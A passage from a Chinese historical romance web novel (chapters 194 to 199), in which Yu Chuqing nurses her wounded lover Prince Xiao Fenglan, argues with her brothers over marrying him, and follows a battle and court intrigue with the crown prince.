也是在一起太久了,什么时候该茶、什么时候不能茶,他张弛有度! 在喻初晴面前,懂情趣、知进退,非常重要。 喻初晴颔首:“嗯。” 不然,她怕大哥三哥趁她不在的时候,削了他! 但萧风岚不知道她这样想啊,开心不已地道:“晴晴,你也很想我,对不对?” “闭嘴!”喻初晴不想扯来扯去,直接下令。 她用布巾沾水拧干,给他擦身子。 他身上有五六个小刀口,伤皮不见肉的多,有一两道比较长。 避开伤口,给他把身体擦了一遍,她又给他处理这些伤口。 最后,弄到了脸上。 萧风岚眼睛都不眨地看着近在眼前的、他深爱的脸,心里被胀得满满的。 他自己也不知道,为什么自己一看见她就感觉很爱,离不开一点。 但,看到她眼皮底下的青影,知道她很累了,他什么都没说。 全部弄好了,将干净的中衣扔给他:“自己穿。” 她为自己忙活了那么久,都没顾得上她自己,萧风岚自然是不会再劳碌她,迅速穿好了衣裳。 “我扶你,你先去躺下。”喻初晴朝他伸手。 萧风岚问:“要不,我给你洗了,我们一起躺?” 喻初晴仰头,白了他一眼:“屁话怎么这么多?” 萧风岚:“……” 闭嘴,吱一声都不敢了。 安顿萧风岚躺下后,喻初晴自己去沐浴更衣。 弄完过来寝房这边,萧风岚坐在桌边朝她招手:“晴晴,他们送来了吃食,先吃早膳再睡!” 跑了一晚上,喻初晴也感觉饿了。 累的时候她话很少。 萧风岚倒是问了个摆在眼前的问题:“晴晴,大哥三哥已经知道了,接下来……你是不是带我见爹娘?” 第194章 剩下的路让我奔向你 “你现在也暴露了,肯定不能回去。” 喻初晴思忖片刻,道:“只要朝廷南征军占领淮明郡,夏河的防守便能放松许多。我爹娘他们渡河,我们回祖籍。” 听这说法,好像完全没有安排自己,萧风岚有些急:“那我呢?” “我还没说完呢。”喻初晴瞧了他一眼,这才说到他:“我本想等从祖籍回来,再带你正式拜见爹娘的。但既然大哥三哥都已经知道,爹娘那边必定也瞒不住。何况……” 虽说不是解决不了,但多少有些烦恼:“我不知道喻家与萧家有什么恩怨……” 其实是有猜想的,但这种事不能拿出来说。 她继续道:“但问题摆在这,必定要解决。” “那你要我怎么做?”萧风岚问:“我总不能什么都不做,等着你解决事情。我才是男人!” 喻初晴一愣。 是哦,她差点把自己当男人看待了! 她的确是大女子主义,恨不能自己顶天立地,让男人小鸟依人! 想到这里,她不由笑了下,道:“那你想做什么?” “晴晴只要态度坚定选择我就好,如何在岳父母面前讨喜,那是我的职责;如何获得舅子们的认可,也是我应该做的事。” 萧风岚恳切地道:“晴晴,我不能把事情都丢给你,躲在你身后。你愿意与我谈婚嫁,我已经很开心了。你只要向我迈出一步,剩下的路让我奔向你!” 喻初晴:“……” 对上那一双清澈、真挚的双眸,喻初晴心湖难免有些悸动。 “好。”她笑了下,道:“那就让我看看你的本事!” 萧风岚也笑了:“嗯,就看我的吧!” 二人用过早膳,便躺下了。 因为萧风岚身上有伤,喻初晴不让他搂着自己睡。但睡着的时候,萧风岚始终攥着她的手,生怕她跑了似的。 喻家兄弟这边,也在用早膳。 但兄弟俩都有点食不下咽。 丫鬟来报:“大公子,大小姐让那位公子在自己院里住下了。” 见她神色有异,喻慕文问:“在她房里住下了?” 非常有可能! 丫鬟应:“是的,三公子。” “大哥……”喻慕文脸是黑的。 喻昔词挥手:“下去吧,好生伺候着。” 屋内只剩下兄弟二人,喻慕文放下筷子,将佛珠拿在手里一粒粒碾过,恨不能立刻将佛珠脱落。 喻昔词瞧了一眼他的手,道:“你戾气越来越重了,佛珠都压不住你的杀性。” “我没失控。”喻慕文缓和了一下,道:“大哥放心,我不会失控。” 知晓他为何会如此,喻昔词没多说,而是把话题转到喻初晴身上来:“晴晴的婚事,你怎么看?” “不可能同意!”喻慕文脱口而出:“爹娘不可能同意,家族也不可能!” 喻昔词用指节敲了敲桌面,伤脑筋地道:“晴晴的态度你也看到了,非常坚决。她不是普通姑娘,自己认定的事,翻天都不会听别人的。” “嗯。我知道。”喻慕文颔首,道:“所以我不知该怎么办。” 喻初晴那一句“别动我的人”,就已经说明了一切! 他们不能动萧风岚。 但,让他们接受萧风岚,也不可能! “先看看吧,此时萧风岚受了伤,正是晴晴心疼的时候。”喻昔词站起,颇为忧愁。 “晴晴跟世间女子不同,一般男人也配不上她。”喻慕文跟着站起,道:“那萧风岚有什么好,哪里配得上?” 喻昔词倒是想起来喻初晴说过的话:“可晴晴说过,在找伴侣这件事上,并不慕强。她更倾向于找自己可控的,而不是能压制她的。” 现在想来,喻初晴一直在给他提醒:因为她早就看好了对象! 喻慕文顿时哑口无言。 半晌后,才道:“难怪我们说让她招赘,她虽然没同意,但那态度……明显是同意的!” “再说吧,回去与爹娘商量。”喻昔词这么多年,还是头一次遇事不决到需要与父母商量的。 反对喻初晴,好像反不了一点? 不反对,难道就让姓萧的进门当女婿? “行。”喻慕文道:“大哥先歇息吧,下晌消息肯定送来了。” 战况如何,他们现在还不知晓。 长宁郡大营。 太子亲卫喻尚武,守在太子营帐。 喻今歌作为喻初晴的学徒,如今太子还需要喻初晴的治疗,所以喻今歌也在太子营帐这边。 包括腾云覆雨。 他们算是相当安全。 一夜的厮杀,并没有结束这一战。 熊熊烈火,将常家军的船链烧了个精光; 王瑞鹏领的水鬼先锋杀上了对岸,被扑杀,所剩无几; 常利率领的数千精兵,因为擅长水战,着实杀了不少朝廷南征军,但南征军的人是真多,他们自己损失也相当惨重; 以至于夏河一片洇红,浮尸遍布。 秋阳逐渐升空,一波新的南征军上了战船,杀向对岸。 最后这一批兵马,以逸待劳。 即便淮明大营内还有一部分待命的兵马,双方一顿厮杀之后,仍旧是战局一面倒。 见状,常胜不得不下令:“撤!撤回长丰郡!” 长丰郡有天险可守,易守难攻。 他们被迫放弃了淮明郡,缩了回去! 晌午后,南征军占领响马盗的淮明郡大营。 经历了兵戈的战场上,硝烟弥漫、血流成河、尸横遍野。 长宁郡这边死尸虽然不多,却还是让喻今歌看得无比震撼:“二哥,打仗是一定要死那么多人的么?” “对岸更多。”喻尚武站在他后方,眺望宽大无比的夏河。 他说得很直白:“很多人尸骨无存,都在河里喂鱼了。战损要等一层层报上来,才知道具体死了多少兵马。” 喻今歌眉心紧拧,少年脸庞上第一次出现了与年龄不相符的惆怅:“难怪爹娘都说,响马盗必须除掉!只是为了以杀止杀,就要死那么多人。倘若让响马盗继续北上,还不知要死多少人。” 喻尚武对别的不太懂,但这件事是听他们讲多了,拾人牙慧也知道说点啥来安慰自家弟弟:“别想那么多,晴晴好像说过一句什么……天下大势分久必合、合久必分!战争都是为了争夺利益,成王败寇罢了。” “天灾人祸。”喻今歌叹了一口气,道:“希望尽快把响马盗解除,揪出幕后黑手!” 少年脸庞有些冷峻:“为了跟太子争夺权势,不拿老百姓的命当命、不拿将士们的命当命,这个幕后的不管是谁,都该死!” 第195章 是我不想对他负责 “嗯。”喻尚武没多说。 他们的立场很简单:希望百姓过得好,谁上位他们管不了。 喻今歌又道:“这下我明白,为何姐要站太子了。即便……” 即便明知太子对她来说也是个威胁,她还是暂时选择站太子,等太子解决了一个强敌之后,如何把太子拉下来那就是后面的事了。 喻尚武摸了摸小弟的头,道:“行了,我们只管等晴晴和大哥三弟他们回来,把太子的伤治好,我们就回祖籍去了。” 后面的战争交给太子,跟他们没关系了。 “哦。”喻今歌跟着他回营地。 下晌。 消息送到了山庄这边,喻初晴一觉醒来,发现萧风岚早就醒了。 她问:“你什么时候醒的,伤口疼?怎么不叫我?” 萧风岚的确是疼得睡不安稳,止痛药的药效过去了,就醒过来。 他指尖撩着喻初晴的一缕头发,在指尖缠绕把玩着。 见她醒来,先在她唇角亲了一下,才回答:“你睡你的,我又没什么事,怎么能吵你呢?” 喻初晴把头发从他手里抢回来,坐了起来,道:“也不知什么时辰了。” “看窗外的日光,应该过午了。”萧风岚也要跟着起来。 喻初晴回头把他按住,道:“你继续躺着。” 顿了顿,又道:“止痛药不能多吃,一会儿让人熬好药过来,你再吃。” 又伸手摸了摸他的额头,道:“起烧没?” “没呢。”萧风岚笑嘻嘻地看着她,道:“晴晴的医术厉害着呢!因为及时用你的药,降低了起烧的可能。” 喻初晴给了他一个白眼,不给面子地戳破:“有点低烧!” 萧风岚:“……” “行了,你躺着,我出去看大哥收到消息没。”喻初晴穿鞋下床。 萧风岚本想跟着去的,但她一个眼神飞过来,他便老实了。 算了,讨好舅子的事,还是把伤养好了再说吧。 喻初晴走出房门,吩咐丫鬟:“先送午膳给他,把药熬上。晚些回来,我来盯着他喝药。” 萧风岚:“……” 还要盯着他喝药! 但,心里超甜,怎么回事? 喻初晴叮嘱完了丫鬟做事后,便去前院。 先看见她的是喻慕文:“晴晴起来了?正好,用午膳了。” “好的,三哥。”喻初晴知晓:处理好了萧风岚的伤,也要给哥哥一个交代。 陪他们吃个午膳,很有必要。 听说喻初晴过来了,喻昔词也进来。 “大哥。”喻初晴先称呼。 兄弟俩见她面容冷静,都不由叹了一口气。 这妹妹的内心,实在是太强大,情绪稳定得可怕! “他……”喻昔词迟疑了下,还是拿萧风岚当切入点:“伤势如何?” 不想姓萧的当妹夫是一回事,也不至于恶毒地希望萧风岚死。 喻初晴答道:“一身的伤,都是在卧底的时候为了取信常胜常利兄弟,自己弄出来的。昨日为了脱身,不惜用热油泼自己腿上。布料黏在腿上,皮都被扒了。” 喻慕文挑眉:“晴晴故意把他说得这么惨,是想让大哥心软?” “是。”喻初晴坦然承认,笑了下,道:“撇开他姓萧不谈,我一直很喜欢他,所以才与他在一起的。” 喻慕文可听不得这话,黑着脸道:“他身为皇叔,堂堂的王爷,难道没有人教过他承担责任?男子汉大丈夫,与女子……却不提出要负责,算是个男人吗?!” 他还有些不好意思,喻初晴却是丝毫没有羞赧,直接道:“首先,我与他开始,是我蛊惑他的。我看中他好看,那一瞬间戳中我的心,便想收了他!” 两个哥哥:“……” 这说法,怎么这么牛! 他们的妹妹,是真把自己当爷们来过的! 喻初晴继续道:“其次,不是他不想负责,是我不想对他负责,不想年纪轻轻踏入婚姻的坟墓。喜欢他的颜值,觉得他能让我开心,给我提供足够的情绪价值,便一直与他这么处下来。” 她坦然得很,甚至对一些哥哥难以启齿的事,都说得很平常:“我并不觉得是他占我的便宜,相反,在我与他之间的相处中,都是我占便宜、占上风。” 哥俩都知道了一点:他们的妹妹的心,真的是宽广无比! 她的野心,全都掩盖在日常温和乖巧的表象之下了。 “第三……”喻初晴轻笑一声,道:“关于婚嫁这件事,其实我原本一直不想谈的。毕竟过了年我也才十八岁,二十岁之前,我都没有成亲的打算。” “但是……” 来了个转折,她继续道:“目前的时局,让我倾向于先成亲,能解决很多麻烦。” 对上两个哥哥的目光,她诚恳地道:“婚姻对我而言,不是必需品。我也没有什么两情相悦堕入爱河,想要共结连理地久天长的想法。仅仅是觉得成亲对我来说,好处更多,我就会选。” 喻昔词:“……” 喻慕文转开头。 这话,叫他们怎么听? 不但没有对萧风岚的愤怒,甚至有些同情他了! 喻初晴又笑了一声,道:“哥哥们或许很难接受我的想法,我这些思想,也很难被世俗所容,故而……我从不挂在嘴边,即便做、也是闷声不响地做自己想做的事。” 她的性格的确如此。 不高调,只管去做。 正因如此,南阳侯府的人都不知道她的能耐,一直以为她就是个普通的闺阁女子。 她只管暗中享受自己想要的生活,不想与外人解释,就干脆瞒住所有人。 想要萧风岚陪自己过这样的日子,就费尽三寸不烂之舌说服他。 仅此而已。 喻昔词深深地吸了一口气,终于开口:“晴晴的想法惊世骇俗,你闷声不响是对的。” 不敢想象,倘若外人知晓她如此倒反天罡,会如何对她! 她根本无法容身在世俗礼法中! 很多时候,并不是她做的对不对,而是她与别人不同,就会挨打。 话说到这里,喻初晴把话题拉回来:“所以大哥、三哥,我不知道喻萧两家的恩怨是什么,盲猜是世仇,但我并不想管。” 两人脸色都是一变。 喻初晴抬眸,从容不迫、且不容抗拒:“我很自私,不想用我的人生,去给百多年前的恩怨买单!” 第196章 妹妹才是拐骗男人的那个 自私么? 是的! 家族荣耀什么的,她其实没有享受过。 “若在我回归喻家之后,我才认识的萧风岚、才想要得到他,那我会考虑家规限制,会尊重哥哥们的劝说。” 喻初晴的声音平淡,却带着强烈的压迫:“但,在我做了决定之后,才知道自己是喻家人,知道喻家有这样的家规。” 她仰头,看向喻昔词,将问题抛给对方:“大哥,你觉得呢?” 喻昔词:“……” 他要怎么说? 能怎么说! “晴晴的话,的确是有道理。”喻慕文虽然不满黄毛惦记自己妹妹,但听喻初晴说得这么直白且详细,他是认可她的道理的。 只是作为喻家人…… “但晴晴,你一定要如此,没有回寰的余地么?” 喻初晴勾出一抹笑意,道:“我认为,有些事并非一定要早早下定论的。” 思忖片刻,在两个哥哥的沉默中,她又道:“即便我今日坚决不愿意抛弃萧风岚,也不能保证来日我不会放弃他!” “什么?”喻慕文不淡定了:“晴晴,你这话是什么意思?” 喻初晴摊手:“字面意思。” 喻昔词分析她的想法:“倘若哪一天你不喜欢他了,或者是他做了什么你不能接受的事,你便会与他分开?” “不错!”喻初晴颔首,道:“不管我今日多么坚定要跟他在一起,都不会影响来日事情发生变化后,我所做的选择。君待我意则相合,君若无情我便休!” 简而言之:她不会把自己的后半生锁死在一个男人身上! “你都把话说到这个份上了。”喻昔词叹息一声,道:“这件事,大哥似乎都说不出要反对的话了。” 喻慕文也是这意思。 他们都担心妹妹被坏男人拐骗。 孰料,他们的妹妹才是拐骗男人的那个! 喻初晴笑道:“大哥三哥,我只是表达了对于你们反对我找姓萧的男人这一点的看法,并为此做出了解释——我不接受你们反对他的原因,是姓氏!” 她摊手:“而若你们挑剔的是人品、样貌,或者其他条件,你们该给他的审查、考核,那都是你们身为舅子拥有的资格。” 说着她微微一笑:“哥哥们也是男人,想来是知晓的。男子多薄幸,得到的弃如敝履,得不到的永远在骚动!所以,撇开姓萧不谈,这世上任何一个男人想成为你们的妹夫,都必须经过你们的审视,这道理总没错吧?” 这话,满足了哥哥对妹夫的天然挑剔心理! 她把话说得很明白,不喜欢制造误会—— 我不接受你们反对他的原因是姓氏,但若你们给他制造门槛,我是不会反对的! “是该如此。”喻慕文捻着佛珠,道:“太容易得到的,不会珍惜!” 他唇角勾出一丝冰冷的微笑:“三哥不会欺负伤患,如今他受伤,我不动他。但他日后想进我们家门,那就必须过我这一关!” 对此,喻初晴丝毫不反对:“三哥请便。” 是萧风岚自己说的,获得喻家人的认可,是他的责任。 的确,是他该做的! 这件事说清楚了,喻初晴看向喻昔词,问:“大哥,战况如何,消息送来了么?” 言归正传,喻昔词说道:“南征军胜,响马盗残余兵力撤回了长丰郡。” 他不对关于萧风岚的事再说什么,显然是接受了喻初晴的说法。 既然她允许他们给萧风岚设门槛,那如何阻拦萧风岚进门,不让妹妹嫁给姓萧的,就是他们的本事了! “那我们……”喻初晴问:“回长宁郡么?” 喻昔词不答反问:“太子的伤什么时候能好?” 喻初晴答道:“不出意外,今日就能脱离危险。但想要养好,短时间内不行。” 顿了顿,她又道:“所以,我想让萧风岚后面跟着南征军行动,对外宣称他是来帮太子的。” “实际上,你的意思是,让他把控战局!”喻慕文立即明白了她的意思。 喻初晴颔首,说到正事,她的神情严肃了不少:“也是对太子的压制,毕竟我可不想太子回去后,给我反手一刀!” 这世上,最不愿意她被赐婚的人,就是萧风岚。 让萧风岚亲自盯着萧景明,还有比这更合适的吗? “晴晴足智多谋。”喻昔词称赞了一句,道:“那你的意思是……先不带萧风岚见爹娘?” 如此也好,有个缓冲。 “嗯。”喻初晴说道:“我们先回祖籍,其他事等回帝京再说!” 她做事有条理,当哥哥的实在是没什么可挑的。 用过午膳,便决定前往淮明郡码头,渡河回长宁郡。 一行人抵达淮明郡大营——原来的响马盗驻扎地,如今已经是朝廷南征军的了。 渔樵耕读聚集在此,与萧风岚会合。 渡河回到北岸,天已经黑断了。 萧风岚腿伤有伤,喻初晴尽量不让他用腿,现在有了自己的人在,渔背着他,省了很多事。 听说他们回来了,喻今歌小跑着出来:“姐!大哥、三哥!” 不想,看见一个脸熟、却不应该在此出现的面孔—— “他……逍王殿下,怎么会在这里?” 萧风岚冲他咧齿一笑:“小弟,你好呀!” “什么小弟?”喻今歌一头雾水:“我又不是你的弟弟!” 喻昔词和喻慕文都没认可萧风岚的身份,一路上他要喊大哥三哥,他俩没有一个答应的。 此时,喻慕文也是黑着脸,道:“逍王,虽说晴晴认可你,你却还不是我们家人,莫要乱叫!” 喻今歌多聪明啊,立即明白过来了:“不是……姐,他是你的……” 问不出来。 因为他很难想象:我姐有相好的男人! “是我的人。”喻初晴坦然承认,但又说了句:“不过,没有婚嫁之前,的确不能乱了称呼。” 她斜眼睨了在渔背上的萧风岚,道:“萧风岚,乱说话挨打,可不要说我不帮你!” 萧风岚用幽怨的眼神瞟了她一眼:“好嘛,我知道了。等我们成亲了,再改口!” 不满是不满,却乖得很。 喻今歌石化了:“……” 他姐是什么时候有男人的? 看向俩哥,想从他们嘴里问出点什么,但见二人脸色都不好看,显然兄弟们的心情都是一样的。 但他的态度还算好。 后面出来的喻尚武,只来得及听到“成亲、改口”这一句,一头雾水地问:“什么成亲?谁跟谁成亲?” 喻今歌伸手,指了指萧风岚:“我姐,要跟他???” 喻尚武一听,脸色立刻变了。 大锤子在他手里转了一圈,就朝萧风岚砸过去:“想娶我妹,做梦!” 第197章 这是帮他要功劳呢 大铁锤一出,强烈的压迫感逼迫而来。 渔脚下一转,几乎要擦出火星子。 背上背了一人,竟然能够躲过毫无预警砸来的大铁锤,喻尚武诧异地挑了挑眉:“你武功不错!” 但,第二锤又出去了! “二哥!”喻初晴轻声一喊:“停手!” 喻尚武这一锤子下去,渔背着萧风岚飞身跃起一丈高,锤子落在地上,锤出了一个大坑! 他回头本想继续打,却听到自家妹子轻飘飘的喊自己。 出柙的猛虎,像是遇上了牵着绳的人,利落地收了锤子扛在肩头,看向喻初晴,道:“他连我一锤子都不敢接,晴晴,你要嫁给这种窝囊废?” 众人:“……” 喻初晴无语地道:“我找男人,又不是要找一个钢板,为什么必须接二哥的一锤?” 这话,把喻尚武问住了。 他瞪大眼睛,认真思索片刻,道:“哦,也是。” 喻昔词、喻慕文:“……” 这蠢弟弟,没眼看! 喻今歌没忍住笑了:“二哥,切磋一下还是有必要的!不说能打赢你,至少要在你手下走个五十招吧?” 萧风岚:“……” 早知晴晴的哥哥很不好惹,真面对的时候,还是觉得超出自己想象的凶残! 他清了清嗓子,道:“二哥……”想到晴晴说的不能乱叫,他又改了称呼:“喻家二哥,对不住!萧某受了点伤,待养好了再同你打。” 凶,也不能怕。 当怕就进不了她家门! “姓萧?”喻尚武一愣,下意识朝自家大哥看去。 喻昔词的脸色说不上好看,但这毕竟还在外头,很多围观的人,家事不宜拿出来宣扬。 他清了清嗓子:“回营帐再说。” 往前走了几步,便见明月。 看见众人,明月愣了愣:“县主、以及诸位都回来了!” 萧风岚本就高,在渔的背上更显得突出,明月看到他,赶忙抱拳行礼:“见过逍王殿下!” 开玩笑,这十六皇叔岂是好惹的? “嗯。”萧风岚端起来了,完全没有了在喻家人面前的忍让,下巴轻轻扬起,道:“太子醒了么?他醒的时候,本王过去见他。” 都是伤患,但太子貌似伤得比他重。 明月应道:“殿下醒来了,卑职正要找喻小公子过去看看是否换药。” 喻初晴便道:“既如此,现在过去吧。” 她与萧风岚,还有喻今歌一块儿,去太子主帅。 萧景明已经脱离危险了,此时春兰正在伺候他喝粥。 明月上前:“殿下,逍王殿下来了。永安县主也回来了。” “皇太叔。”萧景明抬头一看,萧风岚竟然是被背进来的,急忙问:“您这是怎么了?” 他挥手:“赶忙给皇太叔搬张椅子来,还有初晴,你也坐。” 都坐下后,萧风岚没说话,喻初晴率先开口:“太子殿下,我所说的要去对岸支援的接头人,便是逍王殿下。” 挑明了身份。 萧景明很是吃惊:“咦?那你先前怎么不说?” “为了避免出差错。”喻初晴坦言道:“在敌方做内应太危险,不宜有一丝一毫的暴露。逍王殿下便是因为暴露了,昨日被追杀,因此才受了伤。” 闻言,萧风岚朝她看过去,眼里充满了感动。 这是帮他要功劳呢! 萧景明也听明白了:“原来如此。” 但:“初晴,你与皇太叔……怎么好像很熟?” 喻初晴心想:可不是很熟么? 嘴上说得很保守:“还好。” “太子。”萧风岚见她没肯在太子面前说出与自己的关系,他也不挑破,把话题拉了过来:“本王奉皇上密旨,潜伏在响马盗内部。日前,给长宁郡送消息的,便是本王。” 萧景明恍悟:“皇太叔的消息是通过尚武告知孤的!” “不错。”萧风岚颔首,又道:“今日攻占了淮明,后续收拾响马盗,本王会同太子一起。” 萧景明很是意外。 在很多人眼里,逍王是个纨绔的闲散王爷,被皇帝侄子养大的,与太子同岁一起长大。 但,逍王从不参与朝政,宁愿惹猫逗狗也不弄权,对得起皇帝给他的封号——逍。 主打一个逍遥快活,不问朝政。 皇帝很放心,太子也很放心。 可现在—— 父皇竟然让萧风岚去响马盗内部做暗哨? 又要让他跟自己一块儿追击响马盗? 他问:“敢问皇太叔是做军师、还是督军,为何不见父皇下旨?” 听言,他似乎不想分权? 萧风岚眉眼一竖:“怎么,本王手里掌握的响马盗与京中某方势力大有瓜葛,这些证据,莫非太子不想要?” “……”萧景明语塞。 也很意外:“皇太叔既然知道是谁,为何不直接告诉孤?” 萧风岚冲他咧齿,皮笑肉不笑地道:“既然你怕本王抢你的军功,那本王也怕你占我九死一生才立的功!” 喻初晴:“……” 辈分高就是好,面对储君也敢将话说得这么直白难听! 萧景明果然被噎住。 那一箭伤了他的肺腑,这一噎气疼得厉害,忍不住咳嗽起来。 咳一下,就是剧痛无比。 “行了太子,你若愿意呢,本王就留下。你要是不需要,本王即刻回京!”萧风岚可不惯着他这侄孙:“当然,证据到时候交给你父皇了,你父皇要如何端水,本王可管不着!本王依旧做自己的逍遥王罢了!” 说着他就扶着椅子扶手站起来。 萧景明连忙劝阻:“皇太叔留步!” 他只能认了萧风岚的横插一手,甚至还要捏着鼻子感谢:“若皇太叔愿意帮孤,孤感激不尽,就当孤欠了皇太叔一个人情!” 萧风岚得了便宜,却还要卖乖:“你说什么?我怎么听不懂?” 喻初晴:“……” 想笑。 算了,给太子留点面子,也省得得罪人。 在自己喜欢的女子面前,萧景明被迫低头:“请皇太叔帮孤度过难关,孤欠了皇太叔的人情,君子一诺,皇太叔尽可提条件!” 闻言,萧风岚乐了,笑道:“这可是你说的!” 他与喻初晴对视一眼,挑了挑眉,道:“行,那本王留下与你一同探讨!” 喻初晴这才插话:“太子殿下,既然已经打下淮明,我与父兄也可以渡河南下回祖籍了!” 第198章 她本配养一群男宠才对 在萧景明的再三挽留下,喻初晴答应,给萧景明治好伤后才走。 当然,她本也没打算明日就启程。 萧风岚的腿伤其实用她的药就行,但她还是想给他看顾两三天,确定不会有其他问题才能放心。 但这种事,当然是要让萧景明觉得欠了她的,才好啊! 太子醒了,还有很多事要做—— 譬如,这次他昏迷不醒,军心浮动那些作乱的将领,他都做了调整。 带伤叫所有将领过来集会,完事儿后,便下令:“拔营,到淮明郡扎营!” 喻初晴他们自然也跟着迁徙。 兵马众多,船只有限,喻初晴便跟太子说他们最后再过去,一家人坐一艘船就行。 正好,在船上不怕隔墙有耳,他们可以商议一些事。 “这个太子,还是有几分头脑的。”喻慕文表达了对太子目前所行的看法。 但他好奇的是:“他是参战之后才这样的,还是原本就这样?” 他问:“晴晴,你还记得那一次在国子监,他处理桑雪爬床那件事的态度么?优柔寡断、拖泥带水的!” 喻初晴颔首:“是。” 喻今歌问:“所以,是因为带病打仗,太子成长了?” “不一定。”喻初晴摇头:“在帝京,是他的地盘。身为储君,想要表达的是仁,否则上面怕晃着龙椅,引起皇帝的不满,下面无法服众、收服不了人心。” “你的意思是……”喻慕文问:“他从前只是装的?藏拙?” 喻初晴还是摇头:“未必。以前一切在他可控的时候,他可以装,无需暴露真实的内心。图穷见匕!在遇到不可控的事后,人通常会爆发无限潜力,而内心的阴暗面,也就都会表露出来了。” 她说的是:内心的阴暗面! 说到这里,她把话题拉回来:“他明知道手底下的将领谁有问题,但他不处置,反而提拔。捧杀的手段,也是让他玩明白了!” 萧景明这个坑,比她想的还深。 绝对不能让他上位,他上去后,她会很被动! 喻家几兄弟都沉默。 唯有一直在旁边装鹌鹑、缩着脑袋做人的萧风岚,第一时间站出来附和:“没错!萧景明看起来光风霁月、儒雅君子一个,实际上一肚子坏水!” 喻家兄弟几人的目光,顿时像针扎一样,落在他脸上。 萧风岚一哽,立即举例证明自己的话是正确的:“他喜欢晴晴,却不做出任何付出,甚至还高高在上觉得自己是太子,能看上晴晴就是晴晴的福分。求亲不成,就暗戳戳的准备阴招,让皇帝、皇后都给晴晴施压。还想用战功到时候压晴晴不得不点头……诸如此类,他不就是坏透了么!” 堂堂的十六皇叔,为了讨好舅子们,也是拼了。 但他又不是瞎编的,这些事,喻家兄弟都知道。 喻慕文的脸立即黑了。 喻昔词的神情也不剪的好看。 而喻今歌最是藏不住话:“这个我同意!我姐绝对不能嫁太子!说是将来可能做皇后,但做了皇后呢?皇帝后宫都是女人啊,我姐怎么能受这种委屈!” 听到这话,喻慕文笑了,手指轻轻一粒粒捻过掌心的佛珠,道:“不错,我们晴晴这样好的姑娘,怎么能跟一群女人分享丈夫?她本配养一群男宠才对!” 喻初晴:“……” 萧风岚瞪眼。 不用怀疑,这话就是故意说来恶心他的! 但,他能怎么办? 怼回去? 找死吗! 他只能弱弱地看向喻初晴,噘着嘴委屈巴巴地道:“晴晴,你不会这样做的,对吗?你这么爱我!” 喻初晴想笑。 这狗东西,其实很清楚她对他的感情,说不上爱得死去活来。 故意这么说,是想要在她的兄弟面前挣一点赢面罢了。 对上哥哥弟弟的眸光,她说了句模棱两可的话:“我对别人的态度,取决于别人怎么对待我。” 萧风岚:“!!!” 懂了! 她的意思是:如果他敢背叛她,她绝对马不停蹄立刻背叛! 这话,喻家兄弟也挑不出错。 喻昔词说了句:“人生那么长,谁知以后会发生什么事。晴晴,你要擦亮眼睛多看看其他人,我们喻家的姑娘没有必要吊死在一棵树上。” 如何不算直接表达对萧风岚的不满呢? 即便这两日他们明明看见萧风岚跟狗一样舔着喻初晴,可没成婚之前,男人说的话、做的事,都不一定算数的。 婚前百般讨好,婚后往死里殴打的,多的是! 萧风岚又被怼了,还不能不满。 他笑了笑,道:“喻家大哥,晴晴知道,本王我拿得出手的!” 就在喻家兄弟都看着他的时候,他又笑嘻嘻地说了句:“晴晴喜欢长得好看的,但凡帝京有其他未婚儿郎的相貌能入得了她的眼睛,她都不会找上本王!” 喻今歌没忍住翻了个白眼:“给王爷嘚瑟的,我二哥就比你好看!” “那是。”萧风岚承认这个说法:“但他是晴晴的亲哥,不能考虑婚嫁呀!” 喻今歌:“……” 他竟然说不过这个厚脸皮的! 好气。 当即跟喻慕文告状:“三哥,不是说了不让我姐找姓萧的吗!” 喻慕文:“……” 要怎么说? 妹妹放话了:他们可以无限挑萧风岚的刺,唯独不能拿姓氏来说事儿! 她说服了他们,他们却无法说通她,只能认了呗。 对此,喻昔词都拿喻初晴没有办法。 那就…… 只能尽量在别的地方挑刺儿了! 不急,以后有的是机会! 萧风岚赢了一把,但他并不嘚瑟,诚恳地道:“我保证,你们不会找到比我对晴晴更有诚意的了!” 喻昔词开口了:“王爷不要把话说得太满,倘使你辜负了晴晴,又当如何?” 萧风岚就敢把话说得很满:“若我辜负晴晴,哥哥们可以杀了我!” 话撂下之后,不等喻家兄弟反应过来,他又看向喻初晴,噘嘴娇娇地说:“比起我辜负晴晴,诸位更要担心的是,她辜负我怎么办吧?” 喻昔词、喻慕文:“……” 竟然无言以对! 毕竟喻初晴内心的真正想法,给他们透了底的。 有时候想想,在喻初晴这里,萧风岚还是有些可怜的? 说着说着,他们的船靠岸了。 南征军帅帐在淮明大营驻扎,与长丰郡形成了新的对峙。 而此时长丰郡大营内。 常利震惊无比:“俞青兄弟他……是朝廷的细作!” 第199章 喻初晴,俞青 大战中,王瑞鹏没死,但他断了一臂。 这也算重伤,但他还是坚持来到帅帐商议军情。 听常胜说道:“俞青是敌方细作,他武功高强、轻功非凡,杀人的手法非常利落。混战之时,他企图箭杀我,幸好我早有防备,安排了六个人盯着他。” 说到这里,他叹了一口气,道:“但那六个人都已经被他与他的同伙反杀了,没有回来!如此,他应该没死!” “我就说这个俞青有问题吧!”王瑞鹏想要拍桌子,但他少了一只手臂,失血过多伤势过重,猛地站起来头晕目眩,实在没有力气。 常利震惊无比:“俞青兄弟他……真的是朝廷的细作?” “你不信大哥?”常胜话放出来了,却没有要证明的意思,而是道:“常利,船链是他提议的,他送了多少我军情报给长宁郡那边,你可有想过?” 常利脸色惨白。 是啊,船链是俞青提出来的! 而出于对俞青的信任,以及小脑袋瓜子的灵光,他总是把俞青带进帅帐,参与进攻计划。 “你再想想看……”常胜又道:“自从他来了以后,咱们就先失去了夏河北岸,退守淮明郡。如今又失去了淮明郡!” 王瑞鹏愤怒不已,但他身体虚弱,已经没有过往的大嗓门了,说话的声音小了很多:“这一战,咱们损失了将近两千兄弟!” 血淋淋的教训! 他们本来也就万把人,在长宁郡失守一战中,损失了近千人,这一战失的更多。 尤其是,死了那么多人,他们却还把城池也失了! “俞兄弟……”常利还是难以相信:“他怎么可能是细作?” 常胜面色黑漆漆的:“只能说,他太会做戏!不怨你,毕竟这小子对自己够狠,他连自己都舍得伤,不断主动受伤获取你的信任。若非他劈了王兄弟那一刀,我都不曾怀疑过他。” 也正是因为王瑞鹏被劈了那一刀,伤还没养好就进攻,才会在这一战中失去了一条胳膊! 但,也因此常胜对俞青产生了怀疑,让人盯着他。 这一战算是拔除了这一颗钉子,可他们也实在是损失惨重! “船链……”常利拧眉:“他说的是有道理的,我们也是通过推敲之后才会采信。” 